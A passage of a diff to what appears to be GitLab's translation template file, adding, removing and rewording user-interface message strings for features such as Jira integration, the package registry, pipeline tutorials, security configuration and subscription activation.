-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18779,7 +19108,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18827,6 +19156,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18842,6 +19183,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18935,6 +19279,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18968,6 +19315,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18995,9 +19345,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -19034,6 +19405,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19278,18 +19652,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19461,6 +19829,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19497,6 +19871,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19999,7 +20376,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20257,6 +20634,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20344,6 +20724,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20539,6 +20922,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20590,9 +20976,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20881,10 +21264,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20987,6 +21370,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21161,10 +21547,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21423,6 +21809,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21555,6 +21947,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21582,6 +21977,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21751,9 +22149,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21853,9 +22248,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22205,7 +22597,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22232,6 +22624,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22445,6 +22840,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22779,6 +23177,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23161,7 +23562,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23260,7 +23661,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23326,6 +23727,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23353,6 +23757,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23395,6 +23802,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23416,6 +23826,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23467,9 +23880,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23479,6 +23901,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23494,6 +23919,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23539,6 +23967,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23551,12 +23982,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23653,7 +24078,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23668,6 +24093,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23719,6 +24147,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23854,6 +24285,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23932,6 +24366,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23986,6 +24423,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -24052,6 +24537,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -24109,6 +24597,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -24130,6 +24621,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24184,6 +24678,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24214,9 +24711,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24514,9 +25008,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24553,6 +25053,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24562,6 +25065,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24595,9 +25101,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24625,6 +25128,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24781,6 +25287,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -25135,7 +25644,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25393,6 +25902,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25546,9 +26058,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -26023,9 +26532,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -26077,12 +26583,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -26095,6 +26595,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -26107,9 +26610,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -26125,10 +26625,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -26137,9 +26637,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26887,9 +27384,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26899,6 +27393,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26999,7 +27496,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27234,9 +27731,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27252,6 +27746,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28211,6 +28708,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28810,16 +29319,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28834,6 +29352,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28846,6 +29367,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28858,10 +29382,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28870,6 +29394,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28924,6 +29451,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28942,9 +29472,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28966,9 +29493,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -29137,6 +29661,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -29203,6 +29730,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29437,6 +29967,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29590,9 +30123,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29827,9 +30357,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -30072,6 +30599,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -30165,6 +30698,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30402,6 +30938,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30708,6 +31247,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30723,10 +31265,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Deploy"
+msgstr ""
+
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30948,18 +31493,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30993,9 +31577,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -31050,6 +31631,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -31155,6 +31739,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31266,6 +31853,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31290,6 +31880,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31401,42 +31994,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
